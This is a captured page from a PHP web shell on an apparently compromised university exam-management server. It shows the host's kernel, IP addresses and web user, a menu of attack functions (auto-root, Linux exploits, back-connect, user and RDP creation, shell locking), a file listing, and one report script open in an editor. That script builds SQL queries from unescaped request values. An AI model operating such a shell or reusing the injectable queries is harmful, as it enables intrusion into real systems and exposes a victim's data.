Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.22.181.178
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_ra_qp_wise_student_count_new.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tarka_pdf/fpdf.php"; require_once($pdf_writer_class); include_once("stringspliter.php"); class report_ra_qp_wise_student_count extends FPDF { function DefaultConstructor($aobj_context) { session_start(); $this->aobj_context=$aobj_context; $this->pdf= new FPDF(); $this->pdf=$this; $this->date_from=trim($this->aobj_context->mobj_data["date_from"]); $this->date_to=trim($this->aobj_context->mobj_data["date_to"]); $this->qp_code_from=trim($this->aobj_context->mobj_data["qp_code_from"]); $this->qp_code_to=trim($this->aobj_context->mobj_data["qp_code_to"]); $this->centerwise = trim($this->aobj_context->mobj_data["centerwise"]); $this->orderby = trim($this->aobj_context->mobj_data["orderby"]); $this->degreegrp = trim($this->aobj_context->mobj_data["deggrp"]); $this->exmmonth = trim($this->aobj_context->mobj_data["exmmonth"]); $yemode = explode("*",$this->exmmonth); $this->year = $yemode[0]; $this->examtype = $yemode[1]; // var_dump($this->date_to,$this->date_from); // die(); $this->ip=$_SERVER["REMOTE_ADDR"]; $get_date="select date_format(now(),'%d/%m/%Y %H:%i:%s') now_date"; $obj=$this->aobj_context->mobj_db->GetRow($get_date); $this->current_date=$obj['now_date']; $this->collcode=$_SESSION['collcode']; $get_deggrp=" select fdeggrp,fdescpn from deggrp where fdeggrp='{$this->degreegrp}';"; $objdeggrp=$this->aobj_context->mobj_db->GetRow($get_deggrp); $this->fdescpn=$objdeggrp['fdescpn']; } function Header() { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; $img_path=$this->aobj_context->main_src.$this->photo_path; if(!empty($this->photo_path) && file_exists($img_path)) { $this->pdf->Image($img_path,166,50,50); } if(!empty($this->pdf_logo_path)) { $img_logo_path=$this->aobj_context->main_src.'/'.$this->aobj_context->mobj_data["db"].'/'.$this->pdf_logo_path; if($FUNIVCODE == '052') $this->pdf->Image($img_logo_path,5,5,37,15); else $this->pdf->Image($img_logo_path,10,10,23,22); } $img_path2 = $this->aobj_context->main_src."/img/logo2.jpg"; if(file_exists($img_path2)) { $this->pdf->Image($img_path2,170,6,23,23); } if($FUNIVCODE == '052') { $this->pdf->SetFont('Times','B',9); $this->pdf->Cell(0,4,"JSS MAHAVIDYAPEETHA",0,1,'C'); } $this->pdf->SetFont('Times','B',12); $this->pdf->cell(0,3,$this->FUNIVNAME."","0",1,"C"); $this->pdf->SetFont('Times','B',7); $this->pdf->cell(0,7, $this->s_state,"0",1,"C"); $this->pdf->SetFont('Times','B',9); $this->pdf->cell(0,7, $this->college_details,"0",'1',"C"); $this->pdf->SetFont('Times','B',9); $this->pdf->Cell(0,7,"Q.P. WISE STUDENT COUNT - ".$this->FEXAMDATE." EXAMINATION","0",1,"C"); if($this->degreegrp=='All'){ $this->pdf->Cell(0,7,"Degree Group - All ","0",1,"C"); }else{ $this->pdf->Cell(0,7,"Degree Group - ".$this->degreegrp." - ".$this->fdescpn,"0",1,"C"); } $this->pdf->Ln(2); $this->pdf->SetFont('Times','',13); } function Footer() { $this->SetY(-15); $this->pdf->SetFont('Times','B',8); $this->Cell(140,6,'Printed : IP Address : '.$this->ip." Date ".$this->current_date,'0',0,'L'); $this->Cell(50,6,'Page '.$this->PageNo().' of {nb}',0,1,'R'); } function formcolldata() { $get_coll_name="select FUNIVNAME as 'FUNIVNAME', FUNIVADD1 as 'state', pdf_logo_path From control"; $lobj_get_coll_name=$this->aobj_context->mobj_db->GetRow($get_coll_name); $this->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME']; $this->s_state=$lobj_get_coll_name['state']; $this->f_year=$lobj_get_coll_name['f_year']; $this->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path']; $get_data="SELECT c.FCOLLCODE, CONCAT(c.FCOLLCODE, ' - ', c.FCOLLNAME,', ',c.FTOWN) AS FCOLLNAME FROM college c where c.FCOLLCODE='{$this->collcode}'"; $obj_student=$this->aobj_context->mobj_db->GetRow($get_data); $this->college_details=$obj_student['FCOLLNAME']; $this->degree_details=" College : {$this->FCOLLNAME}"; } function GetFullQry() { $reporttype = ""; $FUNIVCODE = $_SESSION['FUNIVCODE']; if($this->centerwise == 'cntr') { $reporttype = " and m.FCNTRCODE = '{$this->collcode}' "; }else { $reporttype = " and c.FCOLLCODE = '{$this->collcode}'"; } if($_SESSION['fexamseparate'] == 'T') { $candsum = "examcandsum"; $canddet = "examcanddet"; $examdate = "d.fexexamdate as FEXAMDATE"; }else { $candsum = "candsum"; $canddet = "canddet"; $examdate = "d.FEXAMDATE as FEXAMDATE"; } /*$query = "CREATE TEMPORARY TABLE IF NOT EXISTS {$candsumttmp} AS select * from candsum where FCNTRCODE = '{$this->collcode}'"; $this->aobj_context->mobj_db->execute($query); $query = "CREATE INDEX tmpcansum ON {$candsumttmp} (fcollcode, fdergee, fregno)"; $this->aobj_context->mobj_db->execute($query); $query = "CREATE TEMPORARY TABLE IF NOT EXISTS {$canddettmp} AS select cd.* from canddet cd inner join {$candsumttmp} cs on cd.fcollcode = cs.fcollcode and cd.fdegree = cs.fdegree and cd.fregno = cs.fregno where cs.FCNTRCODE = '{$this->collcode}'"; $this->aobj_context->mobj_db->execute($query); $query = "CREATE INDEX tmpcanddet ON {$canddettmp} (fcollcode, fdergee, fregno, fsubcode)"; $this->aobj_context->mobj_db->execute($query);*/ /* $get_data =" select d.FEXAMDATE, s.FQPCODE, date_format(s.FDOE,'%d/%m/%Y') FDOE, if(ifnull(s.FSESSION,'')<>'',if(s.FSESSION = r.FREASONCD,r.FDESCPN,s.FSESSION),s.FSESSION) as FDESCPN, concat(s.fsubname, ' ', s.FSSUBNAME) as FSSUBNAME, COUNT(c.FSUBCODE) AS FCAPACITY from degree d inner join subject s on d.fdegree = s.fdegree and d.fexamno = s.fexamno inner join canddet c on s.fdegree = c.fdegree and s.fexamno = c.fexamno and s.fsubcode = c.fsubcode inner join candsum m on c.fregno = m.fregno left join reason r on r.FREASONCD = s.FSESSION where ifnull(frecptdate,'0000-00-00') <> '0000-00-00' and c.fpresent = 'P' and ifnull(c.fpassmth,'') = '' {$reporttype} AND s.fqpcode between '{$this->qp_code_from}' and '{$this->qp_code_to}' group by FQPCODE order by FQPCODE"; */ $user = $_SESSION['user_type']; // if($user === "SuperUser" || $user === "LSYS"){ // $cond=""; // }else{ // $cond=""; // } if($this->degreegrp=== 'All'){ $deggrpcond = "t.fdeggrp BETWEEN '00000' and 'zzzzzz'"; } else { $deggrpcond = "t.fdeggrp='{$this->degreegrp}'"; } $grpcnd = 't.fqpcode'; if($FUNIVCODE == '055') $grpcnd = "left(t.fqpcode,5)"; if($FUNIVCODE == '052'){ $this->orderby = "order by t.fdate, t.fsession desc"; } $get_data =" select {$examdate}, t.FQPCODE,s.fsubshort, date_format(t.fdate,'%d/%m/%Y') FDOE, ifnull(t.fsession,'') as FDESCPN, if('{$FUNIVCODE}' = '055',concat(s.fsubshort,' - ',s.fsubname),concat(s.fsubname,' ', s.fssubname)) as FSSUBNAME, COUNT(c.FSUBCODE) AS FCAPACITY from degree d inner join subject s on d.fdegree = s.fdegree and d.fexamno = s.fexamno inner join {$canddet} c on s.fdegree = c.fdegree and s.fexamno = c.fexamno and s.fsubcode = c.fsubcode inner join {$candsum} m on c.fregno = m.fregno left join timetable t on t.fqpcode = s.fqpcode and t.fyear = c.fyear and t.fexamtype = c.fexamtype and m.fyear = c.fyear and m.fexamtype = c.fexamtype left join reason r on r.FREASONCD = s.FSESSION left outer join attshort a on a.fdegree = c.fdegree and c.fexamno = a.fexamno and a.fregno = c.fregno and left(a.fsubcode,4) = c.fsubcode and a.fyear = c.fyear and a.fexamtype = c.fexamtype where ifnull(frecptdate,'0000-00-00') <> '0000-00-00' and ifnull(a.fregno,'') = '' and ifnull(c.FTHPR,'') <> 'T' and c.fpresent = 'P' and ifnull(c.fpassmth,'') = '' {$reporttype} AND t.fqpcode between '{$this->qp_code_from}' and '{$this->qp_code_to}' AND t.fdate BETWEEN STR_TO_DATE('{$this->date_from}', '%d/%m/%Y') and STR_TO_DATE('{$this->date_to}', '%d/%m/%Y') and {$deggrpcond} and INSTR(m.fhtenable,c.fexamno) >0 group by $grpcnd {$this->orderby} "; // var_dump($get_data);die(); // and c.fyear = '{$this->year}' and c.fexamtype = '{$this->examtype}' $this->lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data); $this->FEXAMDATE = $this->lobj_get_data[0]['FEXAMDATE']; } function formData() { $FUNIVCODE = $_SESSION['FUNIVCODE']; $this->pdf->SetMargins(10,5,10); $this->pdf->AddPage("L"); $empty_cell_width=2; $sl_no=1; $k2 = 1; $first = true; $totalCount = 0; foreach($this->lobj_get_data as $dk => $dv) { if($k2 > 29) { $this->pdf->AddPage("L"); $k2 = 1; } if($first == true || $k2 == 1) { $this->pdf->SetFont('Times','B',10); $this->pdf->cell($empty_cell_width,7, ""," ",0,"C"); $this->pdf->cell(12,7, "Sl. No.","1",0,"C"); $this->pdf->cell(55,7, "QP Code / Course Code","1",0,"C"); $this->pdf->cell(20,7, "Exam Date","1",0,"C"); $this->pdf->cell(45,7, "Session","1",0,"C"); $this->pdf->cell(85,7, "Subject / Paper Title","1",0,"C"); $this->pdf->cell(10,7, "Count","1",1,"C"); $this->pdf->SetFont('Times','',9); $first = false; } $subname = trim($dv['FSSUBNAME']); $subnamearr = str_splitf($subname,50); $this->pdf->cell($empty_cell_width,7, ""," ",0,"C"); $this->pdf->cell(12,7, $sl_no,"LRT",0,"C"); if($FUNIVCODE == '055') $this->pdf->cell(55,7, substr($dv['FQPCODE']." / ".$dv['fsubshort'],0,5),"LRT",0,"C"); else $this->pdf->cell(55,7, $dv['FQPCODE']." / ".$dv['fsubshort'],"LRT",0,"C"); $this->pdf->cell(20,7, $dv['FDOE'],"LRT",0,"C"); $this->pdf->cell(45,7, $dv['FDESCPN'],"LRT",0,"C"); $this->pdf->SetFont('Times','',8); $this->pdf->cell(85,7, $subnamearr[0],"LRT",0,"L"); $this->pdf->SetFont('Times','',9); $this->pdf->cell(10,7, $dv['FCAPACITY'],"LRT",1,"C"); $totalCount += $dv['FCAPACITY']; if($k2 == 29) { $this->pdf->cell($empty_cell_width,7, "","",0,"C"); $this->pdf->cell(190,1, "","T",0,"C"); } if($subnamearr[1] != '') { $this->pdf->cell($empty_cell_width,7, ""," ",0,"C"); $this->pdf->cell(12,4,'',"LRB",0,"C"); $this->pdf->cell(55,4,'',"LRB",0,"C"); $this->pdf->cell(20,4,'',"LRB",0,"C"); $this->pdf->cell(45,4,'',"LRB",0,"L"); $this->pdf->SetFont('Times','',8); $this->pdf->cell(85,4, $subnamearr[1],"LRB",0,"L"); $this->pdf->SetFont('Times','',9); $this->pdf->cell(10,4,'',"LRB",1,"C"); if($k2 == 30) { $this->pdf->cell($empty_cell_width,7, "","",0,"C"); $this->pdf->cell(190,1, "","T",0,"C"); } } $sl_no++; $k2++; } $this->pdf->cell($empty_cell_width,7, "","",0,"C"); $this->pdf->cell(190,0, "","T",1,"C"); $this->pdf->cell($empty_cell_width,7, "","",0,"C"); $this->pdf->SetFont('Times','B',9); $this->pdf->cell(217,7, "TOTAL COUNT","1",0,"R"); $this->pdf->cell(10,7, $totalCount,"1",1,"C"); } function SendOutput() { $this->pdf->Output("QPwise Students count.pdf","I"); } } function GenerateRAQPwiseStudentsCountNew($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $class_obj=new report_ra_qp_wise_student_count(); $class_obj->AliasNbPages(); $class_obj->DefaultConstructor($aobj_context); $class_obj->GetFullQry(); $class_obj->formcolldata(); $class_obj->formData(); $class_obj->SendOutput(); } ?>
Close
